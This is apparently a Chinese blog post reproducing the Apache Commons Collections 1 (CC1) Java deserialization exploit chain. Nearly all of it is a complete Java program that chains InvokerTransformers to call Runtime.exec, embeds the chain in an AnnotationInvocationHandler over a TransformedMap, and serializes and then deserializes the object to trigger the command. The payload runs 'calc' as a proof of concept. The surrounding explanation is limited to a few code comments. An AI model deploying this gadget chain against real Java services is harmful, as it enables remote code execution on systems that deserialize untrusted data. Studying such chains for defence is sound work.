• java反序列化CC1


    package org.example;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Main {
        public static void main(String[] args) throws Exception{
    
    
    //        Runtime r = Runtime.getRuntime();//单例模式,通过对应方法创建对象//问题一:r不能序列化,没有继承序列化接口
    //        Class c = Runtime.class;
    //        Method execMethod = c.getMethod("exec",String.class);
    //        execMethod.invoke(r,"calc");
    
    
    //        Class c = Runtime.class;
    //        Method getRuntimeMethod = c.getMethod("getRuntime",null);
    //        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
    //        Method execMethod = c.getMethod("exec", String.class);
    //        execMethod.invoke(r,"calc");
    //
    
    
    //        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    //        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{}).transform(getRuntimeMethod);
    //        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    
            Transformer[] Transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
    
    
    //        chainedTransformer.transform(Runtime.class);
    
    //        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    
            HashMap<Object,Object> map = new HashMap<>();
            map.put("value","aaa");
            Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
    
    
    
    
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
            annotationInvocationhdlConstructor.setAccessible(true);
            Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedmap);
    
    
            serialize(o);
            unserialize("ser.bin");
        }
    
    
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
    
    
        public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
  • 相关阅读:
    Java基础知识之数组、集合类、多线程、文件处理
    量化交易:开发传统趋势策略之---双均线策略
    字符串的扩展
    C语言大战“扫雷”
    Docker集群部署DockerCompose
    【译】介绍 MSTest Runner – CLI、Visual Studio 等
    聊一聊JDK21-虚拟线程
    从零开始搭建个人网站①
    C++如何在main函数开始之前(或结束之后)执行一段逻辑?
    做网站怎样抓住搜索引擎规则
  • 原文地址:https://blog.csdn.net/weixin_44681307/article/details/132953627